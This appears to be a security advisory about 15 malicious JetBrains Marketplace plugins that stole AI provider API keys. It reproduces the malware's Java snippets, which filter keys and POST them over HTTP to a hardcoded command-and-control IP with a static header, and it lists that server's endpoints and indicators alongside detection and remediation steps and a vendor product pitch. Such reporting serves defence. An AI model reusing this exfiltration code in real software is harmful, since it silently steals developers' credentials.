























On June 16, 2026, JetBrains received security reports identifying a coordinated supply chain attack involving 15 malicious third-party plugins on the JetBrains Marketplace. These plugins, published under seven separate vendor accounts, masqueraded as legitimate AI-powered developer tools -- offering code review, unit test generation, Git commit message writing, and chat features powered by popular AI models like DeepSeek and OpenAI.
Behind their functional facades, every plugin contained hidden credential-stealing code. The moment a developer entered an AI provider API key into the plugin settings and clicked "Apply," the key was silently exfiltrated over unencrypted HTTP to a hardcoded command-and-control (C2) server at 39.107.60.51, hosted on Alibaba Cloud in Beijing, China.
Our independent investigation on June 19, 2026 confirmed that the attacker's C2 server remains live and actively responding to API requests -- three days after JetBrains removed the plugins. The server hosts a Chinese-language admin panel titled "信息管理平台" (Information Management Platform) with a login interface, suggesting an organized operation.
The campaign ran for approximately 8 months -- from late October 2025 through June 2026 -- accumulating roughly 70,000 total installations. The two most recent plugins, published just days before discovery, accounted for over 53,000 of those downloads alone.
JetBrains responded by purging all 15 plugins from the Marketplace, permanently banning the 7 publisher accounts, and triggering a remote kill-switch that disables the extensions inside any IDE upon relaunch. JetBrains confirmed that no internal systems, source code, or corporate infrastructure were compromised.
org.sm.yms.toolkit) -- published to JetBrains Marketplacecom.json.simple.kit) publishedorg.bug.find.tools) publishedorg.translate.ai.simple) publishedcom.yy.test.ai.simple) publishedcom.dev.ai.toolkit) publishedcom.json.view.simple) publishedcom.my.git.ai.kit) publishedorg.check.ai.ds) publishedcom.review.tool.code) publishedorg.code.assist.dev.tool) publishedcom.coder.ai.dpt) publishedcom.my.code.tools) published -- accumulates 25,571 downloadsord.cp.code.ai.kit) published -- accumulates 27,727 downloads39.107.60.51 is still live and responding to requestsThe timeline reveals a deliberate, patient operation. The attacker started with lower-profile plugins in late 2025, likely testing the approach and evading detection. After months of operation without being flagged, the final two plugins -- CodeGPT AI Assistant and DeepSeek AI Assist -- were published on June 9-10, 2026, and rapidly accumulated over 53,000 downloads between them. It is unclear whether these download counts are organic or artificially inflated.
The attack exploited a fundamental trust model: developers expect IDE plugins from an official marketplace to be safe. These plugins were fully functional -- they genuinely provided AI-powered code review, test generation, and commit message features. The malicious behavior was surgically embedded alongside legitimate functionality.

When a developer entered their AI provider API key into the plugin's settings panel and clicked "Apply," the plugin's save() method intercepted the key before storing it. The method validated the key format -- checking for the sk- prefix and a 51-character length (matching the OpenAI key format) -- and if the key was new (not previously seen), it was packaged for exfiltration:
public static void save(String key) {
if (key != null && key.startsWith("sk-") && seen.add(key)
&& StringUtils.length(key) == 51) {
SoftwareDto dto = new SoftwareDto();
dto.setApiKey(key);
BaseUtil.request("key", dto); // exfiltrate to C2
}
}The use of seen.add(key) as a deduplication check indicates careful design -- the attacker avoided sending duplicate keys to the C2 server, reducing network noise and detection risk.
Before transmitting the stolen key, the plugins installed a JVM-wide X509TrustManager that silently disabled standard TLS certificate validation warnings. This prevented the IDE's internal debuggers and any local network monitoring tools from flagging the anomalous outbound connection.
The BaseUtil.request() method constructed an HTTP POST request to the hardcoded C2 server. The stolen key was serialized as a JSON payload using the Gson library and transmitted in plaintext -- with no encryption whatsoever:
URL url = new URI("http://39.107.60.51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson()
.toJson(payload)
.getBytes(StandardCharsets.UTF_8);The use of unencrypted HTTP is notable -- while it makes interception trivial for network defenders, it also means the attacker avoided the complexity of managing TLS certificates or dealing with certificate pinning issues on the C2 side.
The plugins included a "donation wall" feature. When a user paid a fee through the plugin, the C2 server would send back a working API key -- likely one stolen from another victim. This created a self-sustaining fraud cycle: the attacker collected money from paying users while forcing the original key owners to unknowingly foot the AI provider bill for usage they never authorized.
All 15 malicious plugins, their identifiers, download counts, publication dates, and associated vendor accounts:
| Plugin Name | Plugin ID | Downloads | Published | Vendor |
|---|---|---|---|---|
| DeepSeek Junit Test | org.sm.yms.toolkit | 1,121 | Oct 31, 2025 | CodePilot |
| DeepSeek Git Commit | com.json.simple.kit | 1,894 | Nov 1, 2025 | StackSmith |
| DeepSeek FindBugs | org.bug.find.tools | 1,485 | Nov 9, 2025 | CodeCrafter |
| DeepSeek AI Chat | org.translate.ai.simple | 1,317 | Nov 23, 2025 | CodeWeaver |
| DeepSeek Dev AI | com.yy.test.ai.simple | 740 | Nov 30, 2025 | JetCode |
| DeepSeek AI Coding | com.dev.ai.toolkit | 450 | Dec 6, 2025 | DailyCode |
| AI FindBugs | com.json.view.simple | 623 | Dec 14, 2025 | CodePilot |
| AI Git Commitor | com.my.git.ai.kit | 301 | Jan 10, 2026 | StackSmith |
| AI Coder Review | org.check.ai.ds | 735 | Jan 11, 2026 | ZenCoder |
| DeepSeek Coder AI | com.review.tool.code | 3,498 | Jan 15, 2026 | CodeCrafter |
| AI Coder Assistant | org.code.assist.dev.tool | 319 | Feb 1, 2026 | JetCode |
| DeepSeek Code Review | com.coder.ai.dpt | 278 | Apr 18, 2026 | DailyCode |
| CodeGPT AI Assistant | com.my.code.tools | 25,571 | Jun 9, 2026 | DailyCode |
| DeepSeek AI Assist | ord.cp.code.ai.kit | 27,727 | Jun 10, 2026 | ZenCoder |
| Coding Simple Tool | com.dp.git.ai.tool | 3,931 | -- | CodePilot |
The 7 publisher accounts that distributed these plugins have all been permanently banned by JetBrains:
| Display Name | Account Handle | Plugins Published |
|---|---|---|
| CodePilot | mycode | DeepSeek Junit Test, AI FindBugs, Coding Simple Tool |
| StackSmith | misshewei | DeepSeek Git Commit, AI Git Commitor |
| CodeCrafter | keteme | DeepSeek FindBugs, DeepSeek Coder AI |
| CodeWeaver | simpledev | DeepSeek AI Chat |
| JetCode | skyblue | DeepSeek Dev AI, AI Coder Assistant |
| DailyCode | dialycode | DeepSeek AI Coding, DeepSeek Code Review, CodeGPT AI Assistant |
| ZenCoder | 947cb4c8-5db1-4cf0-8182-0aae7c433bb3 | AI Coder Review, DeepSeek AI Assist |
Our independent investigation on June 19, 2026 revealed that the attacker's C2 server at 39.107.60.51 remains fully operational, three days after JetBrains removed the malicious plugins.
| Property | Detail |
|---|---|
| IP Address | 39.107.60.51 |
| Hosting Provider | Alibaba Cloud (AS37963 Hangzhou Alibaba Advertising Co., Ltd.) |
| Geolocation | Beijing, China |
| Web Server | nginx/1.20.1 |
| Backend Framework | Java Spring Boot (identified via HttpRequestMethodNotSupportedException error responses) |
| Admin Panel Title | 信息管理平台 (Information Management Platform) |
| Admin Panel Framework | Metronic Bootstrap theme |
| Content-Language | zh-CN (Chinese) |
| Session Management | UUID-based cookies (SESSIONID_) |
| Login Page | http://39.107.60.51/login -- Chinese-language interface with username/password fields |
| API Endpoints (confirmed active) | POST /api/software/key (returns HTTP 200)POST /api/software/check (returns validation errors in Chinese) |
| Error Language | Chinese -- e.g., "无效的软件!" (Invalid software!) for unrecognized plugin requests |
Why does this matter?A live C2 server means that any stolen API keys that have not yet been rotated could still be actively exploited by the attacker. It also suggests the attacker has not been disrupted beyond losing access to the JetBrains Marketplace distribution channel, and may pivot to other platforms.
| Type | Indicator | Context |
|---|---|---|
| C2 IP Address | 39.107.60[.]51 | Hardcoded exfiltration destination; Alibaba Cloud, Beijing |
| Exfiltration Endpoint | hxxp://39.107.60[.]51/api/software/key | HTTP POST endpoint for stolen API keys |
| Validation Endpoint | hxxp://39.107.60[.]51/api/software/check | Software validation check endpoint |
| Authentication Token | F48D2AA7CF341F782C1D | Static X-Api-Key header value used in all C2 requests |
| HTTP Header | X-Api-Key: F48D2AA7CF341F782C1D | Present in all exfiltration POST requests |
| Key Pattern | Keys starting with sk-, length == 51 | Validation logic in save() method targeting OpenAI-format keys |
| Java Classes | SoftwareDto, BaseUtil | Data transfer object and network utility class used for exfiltration |
| Serialization | Gson JSON serialization with UTF-8 encoding | Payload encoding method |
| TLS Bypass | Custom X509TrustManager (JVM-wide installation) | Disables TLS certificate validation warnings in the IDE |
| Plugin ID | org.sm.yms.toolkit | DeepSeek Junit Test |
| Plugin ID | com.json.simple.kit | DeepSeek Git Commit |
| Plugin ID | org.bug.find.tools | DeepSeek FindBugs |
| Plugin ID | org.translate.ai.simple | DeepSeek AI Chat |
| Plugin ID | com.yy.test.ai.simple | DeepSeek Dev AI |
| Plugin ID | com.dev.ai.toolkit | DeepSeek AI Coding |
| Plugin ID | com.json.view.simple | AI FindBugs |
| Plugin ID | com.my.git.ai.kit | AI Git Commitor |
| Plugin ID | org.check.ai.ds | AI Coder Review |
| Plugin ID | com.review.tool.code | DeepSeek Coder AI |
| Plugin ID | org.code.assist.dev.tool | AI Coder Assistant |
| Plugin ID | com.coder.ai.dpt | DeepSeek Code Review |
| Plugin ID | com.my.code.tools | CodeGPT AI Assistant |
| Plugin ID | ord.cp.code.ai.kit | DeepSeek AI Assist |
| Plugin ID | com.dp.git.ai.tool | Coding Simple Tool |
| Vendor Account | mycode, misshewei, keteme, simpledev, skyblue, dialycode, 947cb4c8-5db1-4cf0-8182-0aae7c433bb3 | 7 banned publisher accounts |
Security teams can detect this activity by monitoring for:
39.107.60.51X-Api-Key: F48D2AA7CF341F782C1D/api/software/* directed at non-standard IP addressesYou are potentially affected if you installed any of the 15 listed plugins before June 17, 2026. Here is how to check:
Open your JetBrains IDE and navigate to Settings > Plugins > Installed. Search for any of the 15 plugin names or plugin IDs listed above. While JetBrains has remotely disabled these plugins, they may still appear in your installed list until manually removed.
Check your local plugin directories for any of the 15 plugin IDs. The default plugin locations are:
# macOS
~/Library/Application Support/JetBrains/<product>/plugins/
# Linux
~/.local/share/JetBrains/<product>/plugins/
# Windows
%APPDATA%\JetBrains\<product>\plugins\
Search for directories or JAR files matching any of the malicious plugin IDs (e.g., com.my.code.tools, ord.cp.code.ai.kit).
Review firewall logs, proxy logs, or endpoint detection logs for any connections to 39.107.60.51. Any historical connection to this IP from a developer workstation is a strong indicator of compromise.
Log into your AI provider accounts (OpenAI, DeepSeek, SiliconFlow) and review:
If you were affected, take the following actions immediately:
Although JetBrains has remotely disabled these plugins, manually uninstall them from Settings > Plugins > Installed. Remove any unrecognized AI assistants, code reviewers, or Git-related plugins that you did not intentionally install from a trusted source.
Treat any API key that was entered into these plugins as fully compromised. Immediately:
platform.openai.com/api-keys, revoke the compromised key, and generate a new oneAdd 39.107.60.51 to your firewall blocklists, DNS sinkholes, or endpoint protection rules. This blocks both outbound exfiltration and any potential further communication from residual plugin artifacts.
Review your AI provider billing dashboards for unauthorized charges. Stolen API keys may have been used (or resold) to run AI queries at your expense. Document any anomalous activity for dispute purposes with your provider.
Run a secrets scanner across your repositories to ensure no API keys were accidentally committed to version control. Tools like git-secrets, trufflehog, or gitleaks can help detect exposed credentials.
When setting up future AI integrations, use tightly scoped API tokens instead of unrestricted keys. Set spending caps on your AI provider accounts to limit the blast radius of any future credential compromise.
StepSecurity Enterprise customers using Dev Machine Guard have a significant advantage in responding to this incident: fleet-wide visibility into every IDE extension installed across all developer workstations.
Dev Machine Guard continuously inventories IDE extensions across your entire development fleet. When a supply chain incident like this occurs, security teams can instantly identify every affected machine -- without relying on individual developers to self-report.
The screenshot below shows Dev Machine Guard flagging the compromised JetBrains extensions across an organization's fleet:

Key capabilities visible in this view:
Without Dev Machine Guard, security teams are left asking developers to manually audit their own IDE plugins -- a process that is slow, unreliable, and impossible to verify at scale. With Dev Machine Guard, the entire identification-to-verification cycle takes minutes, not days.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。